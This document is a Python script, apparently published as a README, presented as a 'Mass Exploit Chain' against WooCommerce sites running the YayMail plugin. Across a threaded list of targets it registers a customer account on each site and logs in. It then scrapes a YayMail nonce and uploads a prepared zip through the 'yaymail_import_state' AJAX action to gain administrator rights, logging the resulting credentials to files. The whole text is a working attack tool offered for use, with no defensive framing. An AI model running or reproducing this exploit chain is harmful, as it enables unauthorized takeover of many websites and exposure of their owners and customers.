README.md
Rendering markdown...
#!/usr/bin/env python3
# By: Nxploited (@Kxploit)
import os
import sys
import time
from datetime import datetime
from typing import Optional, Dict, List
from urllib.parse import urlparse, urljoin
import re
import json as _json
import random
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.align import Align
from rich.text import Text
from rich import box
requests.packages.urllib3.disable_warnings()
console = Console()
REG_RESULTS_FILE = "reg.txt"
ADMIN_RESULTS_FILE = "Nx_admin.txt"
YAYMAIL_ZIP = "yaymail_backup.zip"
UA_POOL = [
"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
]
def get_random_ua() -> str:
return random.choice(UA_POOL)
def normalize_url(url: str) -> str:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
p = urlparse(url)
return f"{p.scheme}://{p.netloc}"
def new_session(timeout: int) -> requests.Session:
s = requests.Session()
s.verify = False
s.timeout = timeout
return s
def banner() -> None:
os.system("cls" if os.name == "nt" else "clear")
ascii_lines = [
" _ _ _ _ _ _ _ _ __ ",
" / \\ / |_ __ ) / \\ ) |_ __ /| (_| _) / ",
" \\_ \\/ |_ /_ \\_/ /_ |_) | | _) / ",
" ",
]
ascii_text = "\n".join(ascii_lines)
title = Text("WooCommerce · YayMail · Mass Exploit Chain", style="bold cyan")
author = Text("By: Nxploited | GitHub: github.com/Nxploited | Telegram: @Kxploit", style="bold white")
body = Align.center(
Text(ascii_text, style="bold magenta")
+ Text("\n")
+ title
+ Text("\n")
+ author,
vertical="middle",
)
panel = Panel(
body,
border_style="magenta",
box=box.HEAVY,
padding=(1, 4),
)
console.print(panel)
def live_status(target: str, label: str, color: str, note: str = "") -> None:
tag = Text(f"[{label}]", style=color + " bold")
host = Text(f" {target}", style="white")
t = tag + host
if note:
t += Text(f" :: {note}", style="bright_black")
console.print(t)
def write_reg_result(base: str, username: str, email: str, password: str) -> None:
ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
line = f"[{ts}] {base} user:{username} email:{email} pass:{password}\n"
try:
with open(REG_RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(line)
except Exception:
pass
def write_admin_result(base: str, username: str, password: str, note: str = "") -> None:
ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
line = f"[{ts}] {base} user:{username} pass:{password}"
if note:
line += f" | {note}"
line += "\n"
try:
with open(ADMIN_RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(line)
except Exception:
pass
def fetch_woo_account_pages(session: requests.Session, base: str, timeout: int) -> Dict[str, str]:
root = base.rstrip("/")
paths = [
"/my-account/",
"/my_account/",
"/My-account/",
"/account/",
"/myaccount/",
"/customer-login/",
"/login/",
"/register/",
"/sss/",
]
htmls: Dict[str, str] = {}
for p in paths:
url = root + p
try:
r = session.get(url, timeout=timeout, verify=False, headers={"User-Agent": get_random_ua()})
if r.status_code == 200 and "<form" in r.text.lower():
htmls[url] = r.text
except Exception:
continue
return htmls
def extract_woo_register_form(html: str) -> Optional[Dict[str, str]]:
if "woocommerce-register-nonce" not in html and "register" not in html.lower():
return None
nonce_match = re.search(
r'name=["\']woocommerce-register-nonce["\']\s+value=["\']([^"\']+)["\']',
html,
re.IGNORECASE,
)
if not nonce_match:
return None
nonce_value = nonce_match.group(1)
form_match = re.search(
r'<form[^>]+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>',
html,
re.IGNORECASE,
)
action = form_match.group(1) if form_match else ""
email_name = "email"
password_name = "password"
username_name = None
email_input = re.search(
r'<input[^>]+type=["\']email["\'][^>]*name=["\']([^"\']+)["\']',
html,
re.IGNORECASE,
)
if email_input:
email_name = email_input.group(1)
pass_input = re.search(
r'<input[^>]+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
html,
re.IGNORECASE,
)
if pass_input:
password_name = pass_input.group(1)
user_input = re.search(
r'<input[^>]+(name=["\']username["\']|id=["\']username["\'])[^>]*>',
html,
re.IGNORECASE,
)
if user_input:
mname = re.search(r'name=["\']([^"\']+)["\']', user_input.group(0), re.IGNORECASE)
if mname:
username_name = mname.group(1)
return {
"action": action,
"register_nonce": nonce_value,
"email_name": email_name,
"password_name": password_name,
"username_name": username_name,
}
def extract_woo_login_form(html: str) -> Optional[Dict[str, str]]:
if "woocommerce-login-nonce" not in html and "login" not in html.lower():
return None
nonce_match = re.search(
r'name=["\']woocommerce-login-nonce["\']\s+value=["\']([^"\']+)["\']',
html,
re.IGNORECASE,
)
if not nonce_match:
return None
nonce_value = nonce_match.group(1)
form_match = re.search(
r'<form[^>]+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>',
html,
re.IGNORECASE,
)
action = form_match.group(1) if form_match else ""
user_name = "username"
password_name = "password"
u_input = re.search(
r'<input[^>]+(name=["\']username["\']|id=["\']username["\'])[^>]*>',
html,
re.IGNORECASE,
)
if u_input:
mname = re.search(r'name=["\']([^"\']+)["\']', u_input.group(0), re.IGNORECASE)
if mname:
user_name = mname.group(1)
pass_input = re.search(
r'<input[^>]+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
html,
re.IGNORECASE,
)
if pass_input:
password_name = pass_input.group(1)
return {
"action": action,
"login_nonce": nonce_value,
"username_name": user_name,
"password_name": password_name,
}
def woo_register(session: requests.Session, base: str, timeout: int, username: str, email: str, password: str) -> Optional[Dict[str, str]]:
root = base.rstrip("/")
pages = fetch_woo_account_pages(session, base, timeout)
if not pages:
return None
for url, html in pages.items():
reg = extract_woo_register_form(html)
if not reg:
continue
target_action = reg["action"] or url
if target_action.startswith("http"):
post_url = target_action
else:
post_url = urljoin(root + "/", target_action.lstrip("/"))
data = {
reg["email_name"]: email,
reg["password_name"]: password,
"woocommerce-register-nonce": reg["register_nonce"],
"_wp_http_referer": urlparse(url).path,
"register": "Register",
}
if reg["username_name"]:
data[reg["username_name"]] = username
headers = {
"User-Agent": get_random_ua(),
"Content-Type": "application/x-www-form-urlencoded",
"Referer": url,
}
try:
r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False)
except Exception:
continue
if r.status_code in (302, 303):
return {"username": username, "email": email, "password": password}
if any(x in r.text.lower() for x in ["logout", "my account", "account details"]):
return {"username": username, "email": email, "password": password}
return None
def woo_login(session: requests.Session, base: str, timeout: int, username_or_email: str, password: str) -> bool:
root = base.rstrip("/")
pages = fetch_woo_account_pages(session, base, timeout)
if not pages:
return False
for url, html in pages.items():
login = extract_woo_login_form(html)
if not login:
continue
target_action = login["action"] or url
if target_action.startswith("http"):
post_url = target_action
else:
post_url = urljoin(root + "/", target_action.lstrip("/"))
data = {
login["username_name"]: username_or_email,
login["password_name"]: password,
"woocommerce-login-nonce": login["login_nonce"],
"_wp_http_referer": urlparse(url).path,
"login": "Log in",
}
headers = {
"User-Agent": get_random_ua(),
"Content-Type": "application/x-www-form-urlencoded",
"Referer": url,
}
try:
r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False)
except Exception:
continue
if r.status_code in (302, 303):
return True
if any(x in r.text.lower() for x in ["logout", "my account", "account details"]):
return True
return False
def wp_login(session: requests.Session, base: str, timeout: int, username: str, password: str) -> bool:
login_url = base.rstrip("/") + "/wp-login.php"
headers = {"User-Agent": get_random_ua()}
try:
session.get(login_url, headers=headers, timeout=timeout, verify=False)
except Exception:
pass
headers = {
"User-Agent": get_random_ua(),
"Content-Type": "application/x-www-form-urlencoded",
"Referer": login_url,
"Cookie": "wordpress_test_cookie=WP Cookie check",
}
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"testcookie": "1",
}
try:
r = session.post(login_url, data=data, headers=headers, timeout=timeout, verify=False, allow_redirects=True)
except Exception:
return False
if "wordpress_logged_in" in r.headers.get("Set-Cookie", ""):
return True
if any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
return True
if "/wp-admin/" in r.url or "dashboard" in r.text.lower():
return True
return False
def verify_admin_access(session: requests.Session, base: str, timeout: int) -> bool:
admin_urls = [
base.rstrip("/") + "/wp-admin/",
base.rstrip("/") + "/wp-admin/index.php",
base.rstrip("/") + "/wp-admin/users.php",
base.rstrip("/") + "/wp-admin/plugins.php",
]
indicators = [
"wp-admin-bar",
"adminmenu",
"manage_options",
"users.php",
"plugins.php",
]
for au in admin_urls:
try:
r = session.get(au, headers={"User-Agent": get_random_ua()}, timeout=timeout, verify=False, allow_redirects=False)
except Exception:
continue
if r.status_code in (301, 302) and "wp-login.php" in r.headers.get("Location", ""):
continue
if r.status_code == 200:
lt = r.text.lower()
if any(ind in lt for ind in indicators):
return True
return False
def fetch_yaymail_nonce_and_ajax_url(session: requests.Session, base: str, timeout: int) -> Optional[Dict[str, str]]:
url = base.rstrip("/") + "/wp-admin/admin.php?page=yaymail-settings#/email-templates"
headers = {"User-Agent": get_random_ua()}
try:
r = session.get(url, headers=headers, timeout=timeout, verify=False)
except Exception:
live_status(base, "NONCE-ERROR", "red", "settings request failed")
return None
if r.status_code != 200:
live_status(base, "NONCE-ERROR", "red", f"status {r.status_code}")
return None
html = r.text
m = re.search(
r'\{"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)"\s*,\s*"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"',
html,
re.IGNORECASE,
)
if not m:
m = re.search(
r'"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)".{0,300}?"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"',
html,
re.IGNORECASE | re.DOTALL,
)
if not m:
live_status(base, "NONCE-NOT-FOUND", "bright_black")
return None
ajax_url = m.group(1).replace(r"\/", "/")
nonce = m.group(2)
if not ajax_url.startswith("http"):
ajax_url = urljoin(base.rstrip("/") + "/", ajax_url.lstrip("/"))
live_status(base, "NONCE-FOUND", "magenta", f"nonce: {nonce}")
return {"ajax_url": ajax_url, "nonce": nonce}
def yaymail_import_exploit(session: requests.Session, base: str, timeout: int, yay_data: Dict[str, str]) -> bool:
ajax_url = yay_data["ajax_url"]
nonce = yay_data["nonce"]
if not os.path.exists(YAYMAIL_ZIP):
return False
headers = {"User-Agent": get_random_ua()}
with open(YAYMAIL_ZIP, "rb") as f:
files = {
"import_file": (os.path.basename(YAYMAIL_ZIP), f, "application/zip"),
}
data = {
"action": "yaymail_import_state",
"nonce": nonce,
}
try:
r = session.post(ajax_url, headers=headers, data=data, files=files, timeout=timeout, verify=False)
except Exception:
return False
# YayMail success example: {"success":true,"data":{"message":"Import state successfully"}}
try:
j = r.json()
if j.get("success") is True and "import state successfully" in str(j.get("data", {}).get("message", "")).lower():
return True
except Exception:
pass
if r.status_code == 200 and "import state successfully" in r.text.lower():
return True
return False
def handle_site(site: str, timeout: int, _: int, username_fixed: str, password_fixed: str, email_fixed: str) -> Dict[str, str]:
base = normalize_url(site)
sess = new_session(timeout)
row = {
"target": base,
"status": "[bright_black]UNKNOWN[/bright_black]",
"note": "",
}
live_status(base, "SCAN", "cyan")
try:
username = username_fixed
email = email_fixed
password = password_fixed
reg_info = woo_register(sess, base, timeout, username, email, password)
if not reg_info:
row["status"] = "[bright_black]NO-REGISTER[/bright_black]"
live_status(base, "NO-REGISTER", "bright_black")
return row
write_reg_result(base, reg_info["username"], reg_info["email"], reg_info["password"])
live_status(base, "REGISTERED", "yellow", f"user: {username} pass: {password}")
logged = False
if wp_login(sess, base, timeout, reg_info["username"], reg_info["password"]):
logged = True
live_status(base, "LOGIN-WP", "cyan", "wp-login.php")
if not logged:
if woo_login(sess, base, timeout, reg_info["email"], reg_info["password"]):
logged = True
live_status(base, "LOGIN-WOO", "cyan", "woocommerce form")
if not logged:
row["status"] = "[bright_black]LOGIN-FAILED[/bright_black]"
live_status(base, "LOGIN-FAILED", "bright_black")
return row
if verify_admin_access(sess, base, timeout):
row["status"] = "[bold green]EXPLOITED (ADMIN)[/bold green]"
row["note"] = f"user: {username} pass: {password}"
write_admin_result(base, reg_info["username"], reg_info["password"], "already admin")
live_status(base, "SUCCESS", "green", row["note"])
return row
live_status(base, "SEARCH-NONCE", "yellow", "not admin, trying YayMail chain")
yay_data = fetch_yaymail_nonce_and_ajax_url(sess, base, timeout)
if not yay_data:
row["status"] = "[yellow]VULNERABLE (YayMail not found / nonce missing)[/yellow]"
return row
live_status(base, "EXPLOIT", "yellow", f"nonce: {yay_data['nonce']}")
ok_exp = yaymail_import_exploit(sess, base, timeout, yay_data)
if not ok_exp:
row["status"] = "[red]EXPLOIT-FAILED[/red]"
live_status(base, "EXPLOIT-FAILED", "red")
return row
if verify_admin_access(sess, base, timeout):
row["status"] = "[bold green]EXPLOITED (ADMIN VERIFIED)[/bold green]"
row["note"] = f"user: {username} pass: {password}"
write_admin_result(base, reg_info["username"], reg_info["password"], "yaymail import")
live_status(base, "SUCCESS", "green", row["note"])
else:
row["status"] = "[yellow]PARTIAL (import OK, admin not confirmed)[/yellow]"
row["note"] = f"user: {username} pass: {password}"
write_admin_result(base, reg_info["username"], reg_info["password"], "yaymail import (no admin)")
live_status(base, "PARTIAL", "yellow", row["note"])
return row
except requests.exceptions.Timeout:
row["status"] = "[bright_black]TIMEOUT[/bright_black]"
live_status(base, "TIMEOUT", "bright_black")
return row
except requests.exceptions.ConnectionError:
row["status"] = "[bright_black]DEAD[/bright_black]"
live_status(base, "DEAD", "bright_black")
return row
except Exception:
row["status"] = "[red]ERROR[/red]"
live_status(base, "ERROR", "red")
return row
def main() -> None:
banner()
username_fixed = console.input("[bold cyan]Username[/bold cyan] [Nx_admin]: ").strip() or "Nx_admin"
password_fixed = console.input("[bold cyan]Password[/bold cyan] [Nx_adminSA]: ").strip() or "Nx_adminSA"
email_fixed = console.input("[bold cyan]Email[/bold cyan] [[email protected]]: ").strip() or "[email protected]"
global REG_PASS
REG_PASS = password_fixed
targets_file = console.input("[bold cyan]Targets file[/bold cyan] [list.txt]: ").strip() or "list.txt"
if not os.path.exists(targets_file):
console.print("[bold red]Targets file not found.[/bold red]")
sys.exit(1)
if not os.path.exists(YAYMAIL_ZIP):
console.print(f"[bold red]Missing payload file:[/bold red] {YAYMAIL_ZIP}")
sys.exit(1)
try:
threads = int(console.input("[bold cyan]Threads[/bold cyan] [3]: ").strip() or "3")
except ValueError:
threads = 3
try:
timeout = int(console.input("[bold cyan]HTTP timeout (seconds)[/bold cyan] [10]: ").strip() or "10")
except ValueError:
timeout = 10
targets: List[str] = []
with open(targets_file, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if line:
targets.append(line)
if not targets:
console.print("[bold red]Targets file is empty.[/bold red]")
sys.exit(1)
console.print()
console.print(f"[bold white]Loaded {len(targets)} targets.[/bold white]\n")
start = time.time()
results: List[Dict[str, str]] = []
with ThreadPoolExecutor(max_workers=threads) as ex:
future_to_target = {
ex.submit(handle_site, t, timeout, 0, username_fixed, password_fixed, email_fixed): t
for t in targets
}
try:
for future in as_completed(future_to_target):
res = future.result()
results.append(res)
except KeyboardInterrupt:
ex.shutdown(wait=False, cancel_futures=True)
console.print("[bold yellow]Interrupted by user. Showing partial results.[/bold yellow]")
elapsed = time.time() - start
table = Table(
title=f"Session Summary | {len(results)} targets | {elapsed:.2f}s",
box=box.SIMPLE_HEAVY,
header_style="bold cyan",
border_style="magenta",
)
table.add_column("Target", style="white", no_wrap=True)
table.add_column("Status", style="white")
table.add_column("Credentials / Note", style="bright_black")
for row in results:
table.add_row(row["target"], row["status"], row.get("note", ""))
console.print()
console.print(table)
console.print()
console.print(f"[bold green]Registration log:[/bold green] {REG_RESULTS_FILE}")
console.print(f"[bold green]Exploit log:[/bold green] {ADMIN_RESULTS_FILE}")
if __name__ == "__main__":
main()